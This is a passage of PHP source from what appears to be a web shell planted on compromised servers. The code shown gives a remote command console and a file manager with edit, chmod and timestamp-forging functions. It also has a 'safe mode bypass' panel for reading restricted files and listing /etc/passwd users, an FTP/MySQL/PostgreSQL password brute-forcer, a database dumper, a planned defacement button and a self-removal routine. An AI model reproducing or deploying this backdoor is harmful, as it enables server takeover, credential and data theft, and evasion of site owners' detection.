                        copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);                    
                } elseif($_SESSION[\'act\'] == \'move\') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION[\'f\'] as $f)
                        @rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
                }
                unset($_SESSION[\'f\']);
                break;
            default:
                if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
                    $_SESSION[\'act\'] = @$_POST[\'p1\'];
                    $_SESSION[\'f\'] = @$_POST[\'f\'];
                    foreach($_SESSION[\'f\'] as $k => $f)
                        $_SESSION[\'f\'][$k] = urldecode($f);
                    $_SESSION[\'cwd\'] = @$_POST[\'c\'];
                }
                break;
        }
        echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
    }
    $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
    if($dirContent === false) {    echo \'Can\'t open this folder!\'; return;    }
    global $sort;
    $sort = array(\'name\', 1);
    if(!empty($_POST[\'p1\'])) {
        if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
    echo \'<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>\';
    echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array(\'name\' => $dirContent[$i],
                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
                     \'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
                     \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
            $files[] = array_merge($tmp, array(\'type\' => \'file\'));
        elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
            $links[] = array_merge($tmp, array(\'type\' => \'link\'));
        elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
    }
    $GLOBALS[\'sort\'] = $sort;
    function cmp($a, $b) {
        if($GLOBALS[\'sort\'][0] != \'size\')
            return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
        else
            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
            .\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
        $l = $l?0:1;
    }
    echo \'<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
    <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>\';
    if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){echo \'<option value=\'paste\'>Paste</option>\'; }
    echo \'</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" value="Comming Soon!!!" disabled="disabled"/>&nbsp;<input type="submit" value="Add Deface Here" disabled="disabled"></td></tr>
    </form></table></div>\';
    printFooter();
}

function actionStringTools() {
    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
    
    if(isset($_POST[\'ajax\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        if(function_exists($_POST[\'p1\']))
            echo $_POST[\'p1\']($_POST[\'p2\']);
        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
    echo \'<h1>String conversions</h1><div class=content>\';
    $stringTools = array(
        \'Base64 encode\' => \'base64_encode\',
        \'Base64 decode\' => \'base64_decode\',
        \'Url encode\' => \'urlencode\',
        \'Url decode\' => \'urldecode\',
        \'Full urlencode\' => \'full_urlencode\',
        \'md5 hash\' => \'md5\',
        \'sha1 hash\' => \'sha1\',
        \'crypt\' => \'crypt\',
        \'CRC32\' => \'crc32\',
        \'ASCII to HEX\' => \'ascii2hex\',
        \'HEX to ASCII\' => \'hex2ascii\',
        \'HEX to DEC\' => \'hexdec\',
        \'HEX to BIN\' => \'hex2bin\',
        \'DEC to HEX\' => \'dechex\',
        \'DEC to BIN\' => \'decbin\',
        \'BIN to HEX\' => \'bin2hex\',
        \'BIN to DEC\' => \'bindec\',        
        \'String to lower case\' => \'strtolower\',
        \'String to upper case\' => \'strtoupper\',
        \'Htmlspecialchars\' => \'htmlspecialchars\',
        \'String length\' => \'strlen\',
    );
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
    foreach($stringTools as $k => $v)
        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
        echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".htmlspecialchars(@$_POST[\'p2\'])."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
    if(!empty($_POST[\'p1\'])) {
        if(function_exists($_POST[\'p1\']))
        echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
    }
    echo"</pre></div>";
    printFooter();
}

function actionFilesTools() {
    if( isset($_POST[\'p1\']) )
        $_POST[\'p1\'] = urldecode($_POST[\'p1\']);
    if(@$_POST[\'p2\']==\'download\') {
        if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST[\'p1\']);
                header("Content-Type: ".$type);
            }
            $fp = @fopen($_POST[\'p1\'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        } elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) {

        }
        exit;
    }
    if( @$_POST[\'p2\'] == \'mkfile\' ) {
        if(!file_exists($_POST[\'p1\'])) {
            $fp = @fopen($_POST[\'p1\'], \'w\');
            if($fp) {
                $_POST[\'p2\'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo \'<h1>File tools</h1><div class=content>\';
    if( !file_exists(@$_POST[\'p1\']) ) {
        echo \'File not exists\';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
    $gid = @posix_getgrgid(@fileowner($_POST[\'p1\']));
    echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
    echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
    if( empty($_POST[\'p2\']) )
        $_POST[\'p2\'] = \'view\';
    if( is_file($_POST[\'p1\']) )
        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
    else
        $m = array(\'Chmod\', \'Rename\', \'Touch\');
    foreach($m as $v)
        echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
    echo \'<br><br>\';
    switch($_POST[\'p2\']) {
        case \'view\':
            echo \'<pre class=ml1>\';
            $fp = @fopen($_POST[\'p1\'], \'r\');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo \'</pre>\';
            break;
        case \'highlight\':
            if( is_readable($_POST[\'p1\']) ) {
                echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
                $code = highlight_file($_POST[\'p1\'],true);
                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
            }
            break;
        case \'chmod\':
            if( !empty($_POST[\'p3\']) ) {
                $perms = 0;
                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
                if(!@chmod($_POST[\'p1\'], $perms))
                    echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
                else
                    die(\'<script>g(null,null,null,null,"")</script>\');
            }
            echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
            break;
        case \'edit\':
            if( !is_writable($_POST[\'p1\'])) {
                echo \'File isn\'t writeable\';
                break;
            }
            if( !empty($_POST[\'p3\']) ) {
                @file_put_contents($_POST[\'p1\'],$_POST[\'p3\']);
                echo \'Saved!<br><script>document.mf.p3.value="";</script>\';
            }
            echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\';
            $fp = @fopen($_POST[\'p1\'], \'r\');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo \'</textarea><input type=submit value=">>"></form>\';
            break;
        case \'hexdump\':
            $c = @file_get_contents($_POST[\'p1\']);
            $n = 0;
            $h = array(\'00000000<br>\',\'\',\'\');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= \' \'; break;
                    case 9:  $h[2] .= \' \'; break;
                    case 10: $h[2] .= \' \'; break;
                    case 13: $h[2] .= \' \'; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
                    $h[1] .= \'<br>\';
                    $h[2] .= "
";
                }
             }
            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
            break;
        case \'rename\':
            if( !empty($_POST[\'p3\']) ) {
                if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
                    echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
                else
                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
            }
            echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
            break;
        case \'touch\':
            if( !empty($_POST[\'p3\']) ) {
                $time = strtotime($_POST[\'p3\']);
                if($time) {
                    if(@touch($_POST[\'p1\'],$time,$time))
                        die(\'<script>g(null,null,null,null,"")</script>\');
                    else {
                        echo \'Fail!<script>document.mf.p3.value="";</script>\';
                    }
                } else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
            }
            echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
            break;
        case \'mkfile\':
            
            break;
    }
    echo \'</div>\';
    printFooter();
}

function actionSafeMode() {
    $temp=\'\';
    ob_start();
    switch($_POST[\'p1\']) {
        case 1:
            $temp=@tempnam($test, \'cx\');
            if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){
                echo @file_get_contents($temp);
                unlink($temp);
            } else
                echo \'Sorry... Can\'t open file\';
            break;
        case 2:
            $files = glob($_POST[\'p2\'].\'*\');
            if( is_array($files) )
                foreach ($files as $filename)
                    echo $filename."
";
            break;
        case 3:
            $ch = curl_init("file://".$_POST[\'p2\']."".SELF_PATH);
            curl_exec($ch);
            break;
        case 4:
            ini_restore("safe_mode");
            ini_restore("open_basedir");
            include($_POST[\'p2\']);
            break;
        case 5:
            for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
                $uid = @posix_getpwuid($_POST[\'p2\']);
                if ($uid)
                    echo join(\':\',$uid)."
";
            }
            break;
        case 6:
            if(!function_exists(\'imap_open\'))break;
            $stream = imap_open($_POST[\'p2\'], "", "");
            if ($stream == FALSE)
                break;
            echo imap_body($stream, 1);
            imap_close($stream);
            break;
    }
    $temp = ob_get_clean();
    printHeader();
    echo \'<h1>Safe mode bypass</h1><div class=content>\';
    echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>\';
    if($temp)
        echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';
    echo \'</div>\';
    printFooter();
}

function actionConsole() {
    if(isset($_POST[\'ajax\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
        ob_start();
        echo "document.cf.cmd.value=\'\';
";
        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\\'"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))    {
            if(@chdir($match[1])) {
                $GLOBALS[\'cwd\'] = @getcwd();
                echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
            }
        }
        echo "document.cf.output.value+=\'".$temp."\';";
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();

echo \'<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>\';
    echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\';
    foreach($GLOBALS[\'aliases\'] as $n => $v) {
        if($v == \'\') {
            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
            continue;
        }
        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
    }
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
    echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>\';
    if(!empty($_POST[\'p1\'])) {
        echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
    }
    echo \'</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">\';
    echo \'</form></div><script>document.cf.cmd.focus();</script>\';
    printFooter();
}

function actionLogout() {
    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
    echo \'<body bgcolor=#000000><center><img src="http://www.itechcode.com/wp-content/uploads/2012/04/Secret-of-Blogging-Successfully.jpg"></center></body>\';
}

function actionSelfRemove() {
    printHeader();
    if($_POST[\'p1\'] == \'yes\') {
        if(@unlink(SELF_PATH))
            die(\'Shell has been removed\');
        else
            echo \'unlink error!\';
    }
    echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
    printFooter();
}

function actionBruteforce() {
    printHeader();
    if( isset($_POST[\'proto\']) ) {
        echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
        if( $_POST[\'proto\'] == \'ftp\' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST[\'proto\'] == \'mysql\' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif( $_POST[\'proto\'] == \'pgsql\' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=\'\'";
                $res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST[\'server\']);
        if($_POST[\'type\'] == 1) {
            $temp = @file(\'/etc/passwd\');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                        $success++;
                        echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
                    }
                    if(@$_POST[\'reverse\']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST[\'type\'] == 2) {
            $temp = @file($_POST[\'dict\']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
                        $success++;
                        echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
        .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
        .\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
        .\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
        .\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
        .\'<span>Server:port</span></td>\'
        .\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
        .\'<tr><td><span>Brute type</span></td>\'
        .\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
        .\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
        .\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
        .\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
        .\'<td><input type=text name=login value="root"></td></tr>\'
        .\'<tr><td><span>Dictionary</span></td>\'
        .\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
        .\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
    echo \'</div><br>\';
    printFooter();
}

function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type)    {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type)    {
                case \'mysql\':
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case \'pgsql\':
                    $host = explode(\':\', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type)    {
                case \'mysql\':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case \'mysql\':
                    return $this->res = @mysql_query($str);
                    break;
                case \'pgsql\':
                    return $this->res = @pg_query($this->link,$str);
                    break;
            }
            return false;
        }
        function fetch() {
            $res = func_num_args()?func_get_arg(0):$this->res;
            switch($this->type)    {
                case \'mysql\':
                    return @mysql_fetch_assoc($res);
                    break;
                case \'pgsql\':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs() {
            switch($this->type)    {
                case \'mysql\':
                    return $this->res = @mysql_list_dbs($this->link);
                break;
                case \'pgsql\':
                    return $this->res = $this->query("SELECT datname FROM pg_database");
                break;
            }
            return false;
        }
        function listTables() {
            switch($this->type)    {
                case \'mysql\':
                    return $this->res = $this->query(\'SHOW TABLES\');
                break;
                case \'pgsql\':
                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'");
                break;
            }
            return false;
        }
        function error() {
            switch($this->type)    {
                case \'mysql\':
                    return @mysql_error($this->link);
                break;
                case \'pgsql\':
                    return @pg_last_error($this->link);
                break;
            }
            return false;
        }
        function setCharset($str) {
            switch($this->type)    {
                case \'mysql\':
                    if(function_exists(\'mysql_set_charset\'))
                        return @mysql_set_charset($str, $this->link);
                    else
                        $this->query(\'SET CHARSET \'.$str);
                    break;
                case \'mysql\':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function dump($table) {
            switch($this->type)    {
                case \'mysql\':
                    $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
                    $create = mysql_fetch_array($res);
                    echo $create[1].";

";
                    $this->query(\'SELECT * FROM `\'.$table.\'`\');
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "\'".@mysql_real_escape_string($v)."\'";
                            $columns[] = "`".$k."`";
                        }
                    echo \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                    }
                break;
                case \'pgsql\':
                    $this->query(\'SELECT * FROM \'.$table);
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "\'".addslashes($v)."\'";
                            $columns[] = $k;
                        }
                    echo \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
                    }
                break;
            }
            return false;
        }
    };
    $db = new DbClass(@$_POST[\'type\']);
    if(@$_POST[\'p2\']==\'download\') {
        ob_start("ob_gzhandler", 4096);
        $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
        $db->selectdb($_POST[\'sql_base\']);
        header("Content-Disposition: attachment; filename=dump.sql");
        header("Content-Type: text/plain");
        foreach($_POST[\'tbl\'] as $v)
                $db->dump($v);
        exit;
    }
    printHeader();
    echo \'<h1>Sql browser</h1><div class=content>
    <form name="sf" method="post">
        <table cellpadding="2" cellspacing="0">
            <tr>
                <td>Type</td>
                <td>Host</td>
                <td>Login</td>
                <td>Password</td>
                <td>Database</td>
                <td></td>
            </tr>
            <tr>
                <input type=hidden name=a value=Sql>
                <input type=hidden name=p1 value=\'query\'>
                <input type=hidden name=p2>
                <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
                <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
                <td>
